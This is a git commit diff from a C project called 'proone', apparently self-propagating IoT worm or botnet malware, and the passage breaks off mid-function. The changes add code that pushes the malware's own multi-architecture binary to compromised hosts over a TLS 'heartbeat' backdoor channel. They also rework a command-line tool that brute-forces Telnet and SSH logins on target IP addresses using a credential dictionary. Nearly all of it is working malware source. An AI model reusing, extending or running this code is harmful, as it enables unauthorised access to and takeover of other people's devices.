aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-08-10 19:43:33 +1000
committerDavid Timber <mieabby@gmail.com>2021-08-10 19:43:33 +1000
commitbbd889f13f94d59a5b78f3c3bc93499d523b8264 (patch)
treef107ac94e0b926476d8a3d8cc8c1f61672c836af
parentc008231406e43f314a19a3d34c1218d06815dc8a (diff)
Impl M2M binary update ...
* Use getopt in proone-bne * Call pth_yield() where necessary * htbt: truncate downloaded binary if actual size of data transfered is less than alloc_len * prne_rcb_param.self is not optional as proone-bne uses nybin * Add --vercmp option for proone-bne to test M2M bin update * Refactor proone-htbtclient * Protocol change: prne_htbt_bin_meta.alloc_len is now size_t * Add convenience functions: prne_realloc_str(), prne_redup_str()
-rw-r--r--.vscode/launch.json33
-rw-r--r--src/bne.c177
-rw-r--r--src/htbt.c49
-rw-r--r--src/pack.h2
-rw-r--r--src/proone-bne.c507
-rw-r--r--src/proone-htbtclient.c11
-rw-r--r--src/proone.c9
-rw-r--r--src/proone.h1
-rw-r--r--src/protocol.h2
-rw-r--r--src/util_rt.c12
-rw-r--r--src/util_rt.h2
11 files changed, 548 insertions, 257 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index 9bf7391..537323d 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -60,33 +60,6 @@
"miDebuggerPath": "/usr/bin/gdb"
},
{
- "name": "pack",
- "type": "cppdbg",
- "request": "launch",
- "program": "${workspaceFolder}/src/proone-pack",
- "args": [
- "tmp/pack-test/exec",
- "src/dvault.bin",
- "src/data/pack-test/exec.aarch64",
- "src/data/pack-test/exec.armv4t",
- "src/data/pack-test/exec.armv7",
- "src/data/pack-test/exec.i686",
- "src/data/pack-test/exec.mips",
- "src/data/pack-test/exec.mpsl",
- "src/data/pack-test/exec.ppc",
- "src/data/pack-test/exec.sh4",
- "src/data/pack-test/exec.x86_64"
- ],
- "stopAtEntry": false,
- "cwd": "${workspaceFolder}",
- "environment": [],
- "externalConsole": false,
- "MIMode": "gdb",
- "setupCommands": [],
- "preLaunchTask": "Build pack",
- "miDebuggerPath": "/usr/bin/gdb"
- },
- {
"name": "rnd",
"type": "cppdbg",
"request": "launch",
@@ -144,9 +117,13 @@
"request": "launch",
"program": "${workspaceFolder}/src/proone-bne",
"args": [
+ "--cdict",
"./src/data/cred_dict.bin",
+ "--nybin",
"./builds/proone/proone.nybin",
- "192.0.2.1" // CHANGE
+ "--vercmp",
+ "0",
+ "192.0.2.1" // CHANGE ME
],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
diff --git a/src/bne.c b/src/bne.c
index fcca9c8..8566e95 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -28,6 +28,14 @@ static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s
static const uint64_t BNE_M2M_UPBIN_INT = 43200; // 12 hours
+static const size_t BNE_STDIO_IB_SIZE[] = {
+#if !PRNE_USE_MIN_MEM
+ PRNE_HTBT_STDIO_LEN_MAX,
+#endif
+ 512,
+ 0
+};
+
#define BNE_CONN_ATTEMPT 3
#define BNE_HDELAY_TYPE_MIN 150 // 150ms
@@ -1949,6 +1957,44 @@ static ssize_t bne_vhtbt_write (
}
}
+static bool bne_vhtbt_flush (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ const void *buf,
+ size_t len,
+ pth_event_t ev)
+{
+ ssize_t io_ret;
+
+ while (len > 0) {
+ io_ret = bne_vhtbt_write(ctx, vctx, buf, len, ev);
+ if (io_ret < 0) {
+ return false;
+ }
+ if (io_ret == 0) {
+ return false;
+ }
+
+ buf = (const uint8_t*)buf + io_ret;
+ len -= io_ret;
+ }
+
+ return true;
+}
+
+static bool bne_vhtbt_flush_ib (
+ prne_bne_t *ctx,
+ bne_vhtbt_ctx_t *vctx,
+ prne_iobuf_t *ib,
+ pth_event_t ev)
+{
+ const bool ret = bne_vhtbt_flush(ctx, vctx, ib->m, ib->len, ev);
+ if (ret) {
+ prne_iobuf_reset(ib);
+ }
+ return ret;
+}
+
static bool bne_vhtbt_recvf (
prne_bne_t *ctx,
bne_vhtbt_ctx_t *vctx,
@@ -2189,12 +2235,9 @@ static bool bne_vhtbt_do_upbin_us (
mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f);
mh.op = PRNE_HTBT_OP_RCB;
+ rcb_f.os = PRNE_HOST_OS;
rcb_f.arch = PRNE_HOST_ARCH;
rcb_f.compat = true;
- prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
- if (!bne_vhtbt_do_ayt(ctx, vctx, ev)) {
- goto END;
- }
prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) {
@@ -2260,6 +2303,8 @@ static bool bne_vhtbt_do_upbin_us (
prne_iobuf_shift(&vctx->stdioib, -f_ret);
}
}
+
+ pth_yield(NULL);
} while (!stdio_f.fin);
ctx->param.cb.upbin(ctx->param.cb_ctx, tmpfile_path, &cmd);
ret = true;
@@ -2281,11 +2326,116 @@ END:
static bool bne_vhtbt_do_upbin_them (
prne_bne_t *ctx,
bne_vhtbt_ctx_t *vctx,
+ const prne_htbt_host_info_t *hi,
pth_event_t *ev)
{
- // TODO
- errno = ENOSYS;
- return false;
+ bool ret = false;
+ prne_bin_rcb_ctx_t rcbctx;
+ prne_pack_rc_t prc;
+ prne_bin_host_t target;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_bin_meta_t bm;
+ prne_htbt_stdio_t sh;
+ prne_iobuf_t rcb_ib;
+ ssize_t io_ret;
+ int perr = 0;
+
+ prne_init_bin_rcb_ctx(&rcbctx);
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_bin_meta(&bm);
+ prne_htbt_init_stdio(&sh);
+ prne_init_iobuf(&rcb_ib);
+
+ if (!prne_try_alloc_iobuf(&rcb_ib, BNE_STDIO_IB_SIZE)) {
+ goto END;
+ }
+
+ target.os = hi->os;
+ target.arch = hi->arch;
+
+ prc = prne_start_bin_rcb_compat(
+ &rcbctx,
+ target,
+ ctx->param.rcb->self,
+ ctx->param.rcb->m_self,
+ ctx->param.rcb->self_len,
+ ctx->param.rcb->exec_len,
+ ctx->param.rcb->m_dv,
+ ctx->param.rcb->dv_len,
+ ctx->param.rcb->ba,
+ NULL);
+ if (prc != PRNE_PACK_RC_OK) {
+ goto END;
+ }
+
+ mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f);
+ mh.op = PRNE_HTBT_OP_UP_BIN;
+ bm.alloc_len = prne_op_min(
+ ctx->param.rcb->self_len,
+ PRNE_HTBT_BIN_ALLOC_LEN_MAX);
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) ||
+ !bne_vhtbt_sendf(
+ ctx,
+ vctx,
+ &bm,
+ (prne_htbt_ser_ft)prne_htbt_ser_bin_meta,
+ *ev))
+ {
+ goto END;
+ }
+
+ mh.op = PRNE_HTBT_OP_STDIO;
+ do {
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+
+ io_ret = prne_bin_rcb_read(
+ &rcbctx,
+ rcb_ib.m,
+ rcb_ib.avail,
+ &prc,
+ &perr);
+ if (io_ret < 0) {
+ goto END;
+ }
+ prne_iobuf_shift(&rcb_ib, io_ret);
+
+ if (rcb_ib.len > 0) {
+ sh.len = rcb_ib.len;
+ if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) ||
+ !bne_vhtbt_sendf(
+ ctx,
+ vctx,
+ &sh,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ *ev) ||
+ !bne_vhtbt_flush_ib(ctx, vctx, &rcb_ib, *ev))
+ {
+ goto END;
+ }
+ }
+
+ pth_yield(NULL);
+ } while (prc != PRNE_PACK_RC_EOF);
+ sh.fin = true;
+ sh.len = 0;
+ prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT);
+ ret =
+ bne_vhtbt_send_mh(ctx, vctx, &mh, *ev) &&
+ !bne_vhtbt_sendf(
+ ctx,
+ vctx,
+ &sh,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ *ev);
+
+END:
+ prne_free_iobuf(&rcb_ib);
+ prne_free_bin_rcb_ctx(&rcbctx);
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_bin_meta(&bm);
+ prne_htbt_free_stdio(&sh);
+ return ret;
}
static bool bne_do_vec_htbt (prne_bne_t *ctx) {
@@ -2344,6 +2494,9 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
if (ctx->param.cb.uptime(ctx->param.cb_ctx) < BNE_M2M_UPBIN_INT) {
break;
}
+ if (!bne_vhtbt_do_ayt(ctx, &vctx, &ev)) {
+ goto END;
+ }
if (!bne_vhtbt_do_upbin_us(ctx, &vctx, &ev)) {
goto END;
}
@@ -2352,9 +2505,17 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
if (hi.parent_uptime < BNE_M2M_UPBIN_INT) {
break;
}
- if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &ev)) {
+ if (!bne_vhtbt_do_ayt(ctx, &vctx, &ev)) {
goto END;
}
+ if (ctx->param.rcb != NULL) {
+ if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &hi, &ev)) {
+ goto END;
+ }
+ }
+ else {
+ // TODO
+ }
}
} while (false);
diff --git a/src/htbt.c b/src/htbt.c
index 79da7a5..8902f65 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -1116,6 +1116,8 @@ static bool htbt_relay_child (
}
while (*c_out >= 0 || *c_err >= 0) {
+ pth_yield(NULL);
+
// Do poll
pfd[1].fd = *c_in;
pfd[2].fd = *c_out;
@@ -1571,6 +1573,7 @@ static bool htbt_slv_srv_bin (
int32_t ret_errno = 0;
htbt_lmk_t lmk = HTBT_LMK_NONE;
ssize_t io_ret;
+ size_t written = 0;
prne_dbgast(
op == PRNE_HTBT_OP_RUN_BIN ||
@@ -1651,6 +1654,7 @@ static bool htbt_slv_srv_bin (
goto END;
}
+ written += stdio_f.len;
prne_iobuf_reset(ctx->iobuf + 0);
while (stdio_f.len > 0 || ctx->iobuf[0].len > 0) {
if (stdio_f.len > 0) {
@@ -1698,7 +1702,11 @@ static bool htbt_slv_srv_bin (
}
prne_iobuf_shift(ctx->iobuf + 0, -io_ret);
}
+
+ pth_yield(NULL);
} while (!stdio_f.fin);
+ // Just in case transfer falls short of alloc_len
+ ftruncate(fd, (off_t)written);
close(fd);
fd = -1;
@@ -1879,8 +1887,14 @@ static bool htbt_slv_srv_rcb (
}
if (rcb_f.self) {
- target.os = ctx->rcb->self.os;
- target.arch = ctx->rcb->self.arch;
+ if (ctx->rcb->self != NULL) {
+ target = *ctx->rcb->self;
+ }
+ else {
+ status = PRNE_HTBT_STATUS_ERRNO;
+ err = ENOMEDIUM;
+ goto STATUS_END;
+ }
}
else {
target.os = rcb_f.os;
@@ -1891,14 +1905,14 @@ static bool htbt_slv_srv_rcb (
HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X"
" compat(%s)\n",
(uintptr_t)ctx,
- ctx->rcb->self.arch,
+ ctx->rcb->self != NULL ? ctx->rcb->self->arch : PRNE_ARCH_NONE,
target.arch,
rcb_f.compat ? "*" : " ");
}
prc = prne_start_bin_rcb_compat(
&rcb_ctx,
target,
- &ctx->rcb->self,
+ ctx->rcb->self,
ctx->rcb->m_self,
ctx->rcb->self_len,
ctx->rcb->exec_len,
@@ -1918,22 +1932,21 @@ static bool htbt_slv_srv_rcb (
mh.id = corr_id;
mh.is_rsp = true;
mh.op = PRNE_HTBT_OP_STDIO;
- while (rcb_ib.len > 0 || prc != PRNE_PACK_RC_EOF) {
+ do {
prne_pth_reset_timer(&ev, &HTBT_DL_TICK_TIMEOUT);
- if (rcb_ib.avail > 0 && prc != PRNE_PACK_RC_EOF) {
- io_ret = prne_bin_rcb_read(
- &rcb_ctx,
- rcb_ib.m + rcb_ib.len,
- rcb_ib.avail,
- &prc,
- &rcb_err);
- if (io_ret < 0) {
- htbt_slv_set_pack_err(prc, rcb_err, &status, &err);
- goto STATUS_END;
- }
- prne_iobuf_shift(&rcb_ib, io_ret);
+ io_ret = prne_bin_rcb_read(
+ &rcb_ctx,
+ rcb_ib.m,
+ rcb_ib.avail,
+ &prc,
+ &rcb_err);
+ if (io_ret < 0) {
+ htbt_slv_set_pack_err(prc, rcb_err, &status, &err);
+ goto STATUS_END;
}
+ prne_iobuf_shift(&rcb_ib, io_ret);
+
if (rcb_ib.len > 0) {
data_f.len = rcb_ib.len;
ret =
@@ -1946,7 +1959,7 @@ static bool htbt_slv_srv_rcb (
}
pth_yield(NULL);
- }
+ } while (prc != PRNE_PACK_RC_EOF);
prne_pth_reset_timer(&ev, &HTBT_DL_TICK_TIMEOUT);
data_f.fin = true;
data_f.len = 0;
diff --git a/src/pack.h b/src/pack.h
index 82dfdf0..30a86b8 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -62,7 +62,7 @@ struct prne_rcb_param {
const uint8_t *m_dv;
size_t dv_len;
const prne_bin_archive_t *ba;
- prne_bin_host_t self;
+ const prne_bin_host_t *self;
};
static const char PRNE_PACK_BA_IDEN_DATA[] = { 'p', 'r', '-', 'b', 'a' };
diff --git a/src/proone-bne.c b/src/proone-bne.c
index 26d0587..ccecccd 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -3,10 +3,12 @@
#include <assert.h>
#include <string.h>
#include <errno.h>
+#include <getopt.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
+#include <sys/stat.h>
#include <arpa/inet.h>
#include <mbedtls/entropy.h>
@@ -17,63 +19,266 @@
#include "mbedtls.h"
#include "proone_conf/x509.h"
+#define HELP_STR \
+"Usage: %s <options> <target> [more targets ...]\n"\
+"Options:\n"\
+" --cdict <PATH> path to credential dictionary(required)\n"\
+" --nybin <PATH> path to nybin(required)\n"\
+" --vercmp <INT> vercmp() callback return value. Use negative to get binary\n"\
+" from target. Use positive value to update binary of target.\n"\
+" Use zero to disable M2M binary update(default).\n"\
+"Target: IPv4 or IPv6 address\n"
+
+struct {
+ char *cd_path;
+ char *nybin_path;
+ struct {
+ prne_ip_addr_t *arr;
+ size_t cnt;
+ } targets;
+ int vercmp_ret;
+} prog_conf;
-static char m_upbin_path[256];
-static char m_upbin_args[1024];
-static size_t m_upbin_args_size;
+struct {
+ struct {
+ uint8_t *m;
+ size_t l;
+ prne_cred_dict_t ctx;
+ } cred_dict;
+ struct {
+ uint8_t *m;
+ size_t l;
+ } nybin;
+ struct {
+ const uint8_t *m;
+ size_t l;
+ prne_bin_archive_t ctx;
+ } ba;
+ struct {
+ char path[256];
+ char args[1024];
+ size_t args_size;
+ } upbin;
+ struct {
+ mbedtls_entropy_context entropy;
+ mbedtls_ctr_drbg_context ctr_drbg;
+ mbedtls_x509_crt ca;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context key;
+ mbedtls_ssl_config conf;
+ } ssl;
+ prne_llist_t wkr_list;
+ prne_rcb_param_t rcb_param;
+ prne_bne_param_t bne_param;
+} prog_g;
static void print_help (FILE *o, const char *prog) {
- fprintf(
- o,
- "Usage: %s <cred dict> <nybin> <target 0> ... [target N]\n"
- "Options:\n"
- "\t<cred dict>: path to credential dictionary\n"
- "\t<nybin>: path to nybin\n"
- "\ttarget N: IPv4 or IPv6 address\n",
- prog);
+ fprintf(o, HELP_STR, prog);
}
-static bool load_file (const int fd, uint8_t **m, size_t *len) {
- bool ret = true;
- uint8_t *buf;
- size_t buf_size;
- ssize_t f_ret;
- void *ny;
+static void init_g (void) {
+ prne_memzero(&prog_g, sizeof(prog_g));
- buf_size = prne_getpagesize();
- buf = prne_malloc(1, buf_size);
- if (buf == 0) {
- perror("prne_malloc()");
- return false;
+ prne_init_cred_dict(&prog_g.cred_dict.ctx);
+ prne_init_bne_param(&prog_g.bne_param);
+ prne_init_rcb_param(&prog_g.rcb_param);
+ prne_init_bin_archive(&prog_g.ba.ctx);
+
+ mbedtls_x509_crt_init(&prog_g.ssl.ca);
+ mbedtls_x509_crt_init(&prog_g.ssl.crt);
+ mbedtls_pk_init(&prog_g.ssl.key);
+ mbedtls_ssl_config_init(&prog_g.ssl.conf);
+
+ mbedtls_entropy_init(&prog_g.ssl.entropy);
+ mbedtls_ctr_drbg_init(&prog_g.ssl.ctr_drbg);
+ prne_init_llist(&prog_g.wkr_list);
+
+ prne_assert(mbedtls_ctr_drbg_seed(
+ &prog_g.ssl.ctr_drbg,
+ mbedtls_entropy_func,
+ &prog_g.ssl.entropy,
+ NULL,
+ 0) == 0);
+}
+
+static void free_g (void) {
+ prne_free_llist(&prog_g.wkr_list);
+ mbedtls_ctr_drbg_free(&prog_g.ssl.ctr_drbg);
+ mbedtls_entropy_free(&prog_g.ssl.entropy);
+ mbedtls_x509_crt_free(&prog_g.ssl.ca);
+ mbedtls_x509_crt_free(&prog_g.ssl.crt);
+ mbedtls_pk_free(&prog_g.ssl.key);
+ mbedtls_ssl_config_free(&prog_g.ssl.conf);
+ prne_free_cred_dict(&prog_g.cred_dict.ctx);
+ prne_free_bne_param(&prog_g.bne_param);
+ prne_free_rcb_param(&prog_g.rcb_param);
+ prne_free_bin_archive(&prog_g.ba.ctx);
+ prne_free(prog_g.cred_dict.m);
+ prog_g.cred_dict.m = NULL;
+ prog_g.cred_dict.l = 0;
+ prne_free(prog_g.nybin.m);
+ prog_g.nybin.m = NULL;
+ prog_g.nybin.l = 0;
+}
+
+static void init_conf (void) {
+ prne_memzero(&prog_conf, sizeof(prog_conf));
+}
+
+static void free_conf (void) {
+ prne_free(prog_conf.cd_path);
+ prog_conf.cd_path = NULL;
+ prne_free(prog_conf.nybin_path);
+ prog_conf.nybin_path = NULL;
+ prne_free(prog_conf.targets.arr);
+ prog_conf.targets.arr = NULL;
+ prog_conf.targets.cnt = 0;
+}
+
+static void load_str (char **dst, const char *str) {
+ *dst = prne_redup_str(*dst, str);
+ if (*dst == NULL) {
+ perror("prne_redup_str()");
+ abort();
}
+}
+
+static int parse_args (const int argc, char *const*args) {
+ static const struct option lopts[] = {
+ { "cdict", required_argument, 0, 0 },
+ { "nybin", required_argument, 0, 0 },
+ { "vercmp", required_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ bool arg_proc = false;
+ int f_ret, li;
while (true) {
- f_ret = read(fd, buf, buf_size);
+ f_ret = getopt_long(argc, args, "", lopts, &li);
if (f_ret == 0) {
- break;
+ const struct option *lo = lopts + li;
+
+ if (strcmp(lo->name, "cdict") == 0) {
+ load_str(&prog_conf.cd_path, optarg);
+ }
+ else if (strcmp(lo->name, "nybin") == 0) {
+ load_str(&prog_conf.nybin_path, optarg);
+ }
+ else if (strcmp(lo->name, "vercmp") == 0) {
+ f_ret = sscanf(optarg, "%d", &prog_conf.vercmp_ret);
+ if (f_ret == EOF) {
+ perror("sscanf()");
+ return 1;
+ }
+ if (f_ret != 1) {
+ fprintf(
+ stderr,
+ "%s: invalid argument for --vercmp\n",
+ optarg);
+ return 2;
+ }
+ }
+ else {
+ abort();
+ }
+
+ arg_proc = true;
+ }
+ else if (f_ret == '?') {
+ return 2;
}
- if (f_ret < 0) {
- perror("read()");
- ret = false;
+ else {
break;
}
+ }
- ny = prne_realloc(*m, 1, *len + f_ret);
- if (ny == NULL) {
- perror("prne_realloc()");
- ret = false;
- break;
+ if (!arg_proc) {
+ print_help(stderr, args[0]);
+ return 2;
+ }
+ if (prog_conf.cd_path == NULL) {
+ fprintf(stderr, "--cred_dict required.\n");
+ return 2;
+ }
+ if (prog_conf.nybin_path == NULL) {
+ fprintf(stderr, "--nybin required.\n");
+ return 2;
+ }
+ prog_conf.targets.cnt = argc - optind;
+ if (prog_conf.targets.cnt == 0) {
+ fprintf(stderr, "No target.\n");
+ return 2;
+ }
+
+ prog_conf.targets.arr = prne_calloc(
+ sizeof(prne_ip_addr_t),
+ prog_conf.targets.cnt);
+ for (size_t i = 0; i < prog_conf.targets.cnt; i += 1, optind += 1) {
+ prne_ip_addr_t *p = prog_conf.targets.arr + i;
+
+ if (inet_pton(AF_INET6, args[optind], p->addr)) {
+ p->ver = PRNE_IPV_6;
+ }
+ else if (inet_pton(AF_INET, args[optind], p->addr)) {
+ p->ver = PRNE_IPV_4;
+ }
+ else {
+ fprintf(stderr, "%s: invalid IP address\n", args[optind]);
+ return 2;
}
- *m = (uint8_t*)ny;
- memcpy(*m + *len, buf, f_ret);
- *len += f_ret;
}
- prne_free(buf);
+ return 0;
+}
+
+static bool load_file (const char *path, uint8_t **obuf, size_t *olen) {
+ bool ret = false;
+ int fd = -1;
+ ssize_t f_ret;
+ uint8_t *m = NULL;
+ struct stat st;
+
+ fd = open(path, O_RDONLY);
+ if (fd < 0) {
+ perror(path);
+ goto END;
+ }
+
+ f_ret = fstat(fd, &st);
+ if (f_ret != 0) {
+ perror(path);
+ goto END;
+ }
+
+ m = (uint8_t*)prne_malloc(1, st.st_size);
+ if (m == NULL && st.st_size > 0) {
+ perror("prne_malloc()");
+ goto END;
+ }
+ f_ret = read(fd, m, st.st_size);
+ if (f_ret < 0) {
+ perror("read()");
+ goto END;
+ }
+ if (f_ret != st.st_size) {
+ fprintf(stderr, "%s: file changed whilst loading!\n", path);
+ goto END;
+ }
+ ret = true;
+
+END:
+ prne_close(fd);
+ if (ret) {
+ *obuf = m;
+ *olen = st.st_size;
+ }
+ else {
+ prne_free(m);
+ }
return ret;
}
-static void load_htbt_ssl_conf (
+static bool load_htbt_ssl_conf (
mbedtls_x509_crt *ca,
mbedtls_x509_crt *crt,
mbedtls_pk_context *key,
@@ -102,6 +307,8 @@ static void load_htbt_ssl_conf (
mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL);
mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd);
mbedtls_ssl_conf_authmode(conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+
+ return true;
}
static void report_result (const prne_bne_result_t *r) {
@@ -172,7 +379,7 @@ static uint64_t cb_uptime (void *ctx) {
}
static int cb_vercmp (void *ctx, const uint8_t *uuid) {
- return -1;
+ return prog_conf.vercmp_ret;
}
static int cb_tmpfile (
@@ -232,165 +439,100 @@ static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) {
const size_t path_len = prne_nstrlen(path);
prne_dbgast(path_len > 0);
- if (path_len + 1 > sizeof(m_upbin_path) ||
- cmd->mem_len > sizeof(m_upbin_args))
+ if (path_len + 1 > sizeof(prog_g.upbin.path) ||
+ cmd->mem_len > sizeof(prog_g.upbin.args))
{
errno = ENOMEM;
return false;
}
- memcpy(m_upbin_path, path, path_len + 1);
- memcpy(m_upbin_args, cmd->mem, cmd->mem_len);
- m_upbin_args_size = cmd->mem_len;
+ memcpy(prog_g.upbin.path, path, path_len + 1);
+ memcpy(prog_g.upbin.args, cmd->mem, cmd->mem_len);
+ prog_g.upbin.args_size = cmd->mem_len;
return true;
}
static void do_run_upbin (void) {
- for (size_t i = 0; i < m_upbin_args_size; i += 1) {
- if (m_upbin_args[i] == 0) {
- m_upbin_args[i] = ' ';
+ for (size_t i = 0; i < prog_g.upbin.args_size; i += 1) {
+ if (prog_g.upbin.args[i] == 0) {
+ prog_g.upbin.args[i] = ' ';
}
}
- m_upbin_args[m_upbin_args_size - 1] = 0;
+ prog_g.upbin.args[prog_g.upbin.args_size - 1] = 0;
printf(
"upbin received:\n%s %s\n",
- m_upbin_path,
- m_upbin_args);
+ prog_g.upbin.path,
+ prog_g.upbin.args);
}
-int main (const int argc, const char **args) {
+int main (int argc, char **args) {
static prne_bne_vector_t ARR_VEC[] = {
PRNE_BNE_V_HTBT,
PRNE_BNE_V_BRUTE_TELNET,
PRNE_BNE_V_BRUTE_SSH
};
int ret = 0;
- int fd = -1;
- uint8_t *m_cred_dict = NULL, *m_nybin = NULL;
- size_t cred_dict_len = 0, nybin_len = 0;
- const uint8_t *m_dv, *m_ba;
- size_t dv_len, ba_len;
- prne_ip_addr_t *arr = NULL;
- size_t cnt = 0;
- prne_cred_dict_t dict;
- prne_bin_archive_t ba;
- prne_bne_param_t param;
- prne_rcb_param_t rcb;
prne_pack_rc_t prc;
- mbedtls_entropy_context entropy;
- mbedtls_ctr_drbg_context ctr_drbg;
- struct {
- mbedtls_x509_crt ca;
- mbedtls_x509_crt crt;
- mbedtls_pk_context key;
- mbedtls_ssl_config conf;
- } htbt_ssl;
pth_event_t ev_root = NULL;
- prne_llist_t wkr_list;
signal(SIGPIPE, SIG_IGN);
- prne_init_cred_dict(&dict);
- prne_init_bne_param(&param);
- prne_init_rcb_param(&rcb);
- prne_init_bin_archive(&ba);
-
- mbedtls_x509_crt_init(&htbt_ssl.ca);
- mbedtls_x509_crt_init(&htbt_ssl.crt);
- mbedtls_pk_init(&htbt_ssl.key);
- mbedtls_ssl_config_init(&htbt_ssl.conf);
-
- mbedtls_entropy_init(&entropy);
- mbedtls_ctr_drbg_init(&ctr_drbg);
- prne_init_llist(&wkr_list);
-
+ init_conf();
+ init_g();
prne_assert(pth_init());
- prne_assert(mbedtls_ctr_drbg_seed(
- &ctr_drbg,
- mbedtls_entropy_func,
- &entropy,
- NULL,
- 0) == 0);
-
// TRY
- if (argc < 4) {
- print_help(stderr, args[0]);
- ret = 2;
- goto END;
- }
-
- load_htbt_ssl_conf(
- &htbt_ssl.ca,
- &htbt_ssl.crt,
- &htbt_ssl.key,
- &htbt_ssl.conf,
- &ctr_drbg);
-
- cnt = (size_t)argc - 3;
- arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt);
- if (arr == NULL) {
- ret = 2;
- perror("prne_calloc()");
- goto END;
- }
- for (size_t i = 0; i < cnt; i += 1) {
- const char *str = args[i + 3];
- prne_ip_addr_t *e = arr + i;
-
- if (inet_pton(AF_INET6, str, e->addr)) {
- e->ver = PRNE_IPV_6;
- }
- else if (inet_pton(AF_INET, str, e->addr)) {
- e->ver = PRNE_IPV_4;
- }
- else {
- ret = 2;
- fprintf(stderr, "%s: invalid IP address\n", str);
- goto END;
- }
- }
-
- fd = open(args[1], O_RDONLY);
- if (fd < 0) {
- perror(args[1]);
- ret = 1;
- goto END;
- }
- if (!load_file(fd, &m_cred_dict, &cred_dict_len)) {
- ret = 1;
+ ret = parse_args(argc, args);
+ if (ret != 0) {
goto END;
}
- prne_close(fd);
- fd = open(args[2], O_RDONLY);
- if (fd < 0) {
- perror(args[2]);
- ret = 1;
- goto END;
- }
- if (!load_file(fd, &m_nybin, &nybin_len)) {
+ if (!load_htbt_ssl_conf(
+ &prog_g.ssl.ca,
+ &prog_g.ssl.crt,
+ &prog_g.ssl.key,
+ &prog_g.ssl.conf,
+ &prog_g.ssl.ctr_drbg) ||
+ !load_file(
+ prog_conf.cd_path,
+ &prog_g.cred_dict.m,
+ &prog_g.cred_dict.l) ||
+ !load_file(
+ prog_conf.nybin_path,
+ &prog_g.nybin.m,
+ &prog_g.nybin.l))
+ {
ret = 1;
goto END;
}
- prne_close(fd);
- if (!prne_dser_cred_dict(&dict, m_cred_dict, cred_dict_len)) {
+ if (!prne_dser_cred_dict(
+ &prog_g.cred_dict.ctx,
+ prog_g.cred_dict.m,
+ prog_g.cred_dict.l))
+ {
perror("prne_dser_cred_dict()");
ret = 1;
goto END;
}
- if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) {
- fprintf(stderr, "prne_index_nybin() failed.\n");
+ if (!prne_index_nybin(
+ prog_g.nybin.m,
+ prog_g.nybin.l,
+ &prog_g.rcb_param.m_dv,
+ &prog_g.rcb_param.dv_len,
+ &prog_g.ba.m,
+ &prog_g.ba.l))
+ {
+ perror("prne_index_nybin()");
ret = 1;
goto END;
}
- prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+ prc = prne_index_bin_archive(prog_g.ba.m, prog_g.ba.l, &prog_g.ba.ctx);
if (prc != PRNE_PACK_RC_OK) {
fprintf(
stderr,
@@ -400,31 +542,29 @@ int main (const int argc, const char **args) {
goto END;
}
- rcb.m_dv = m_dv;
- rcb.dv_len = dv_len;
- rcb.ba = &ba;
+ prog_g.rcb_param.ba = &prog_g.ba.ctx;
- param.htbt_ssl_conf = &htbt_ssl.conf;
- param.cred_dict = &dict;
- param.vector.arr = ARR_VEC;
- param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
- param.rcb = &rcb;
- param.cb.exec_name = cb_exec_name;
- param.cb.uptime = cb_uptime;
- param.cb.vercmp = cb_vercmp;
- param.cb.tmpfile = cb_tmpfile;
- param.cb.upbin = cb_upbin;
+ prog_g.bne_param.htbt_ssl_conf = &prog_g.ssl.conf;
+ prog_g.bne_param.cred_dict = &prog_g.cred_dict.ctx;
+ prog_g.bne_param.vector.arr = ARR_VEC;
+ prog_g.bne_param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
+ prog_g.bne_param.rcb = &prog_g.rcb_param;
+ prog_g.bne_param.cb.exec_name = cb_exec_name;
+ prog_g.bne_param.cb.uptime = cb_uptime;
+ prog_g.bne_param.cb.vercmp = cb_vercmp;
+ prog_g.bne_param.cb.tmpfile = cb_tmpfile;
+ prog_g.bne_param.cb.upbin = cb_upbin;
- for (size_t i = 0; i < cnt; i += 1) {
+ for (size_t i = 0; i < prog_conf.targets.cnt; i += 1) {
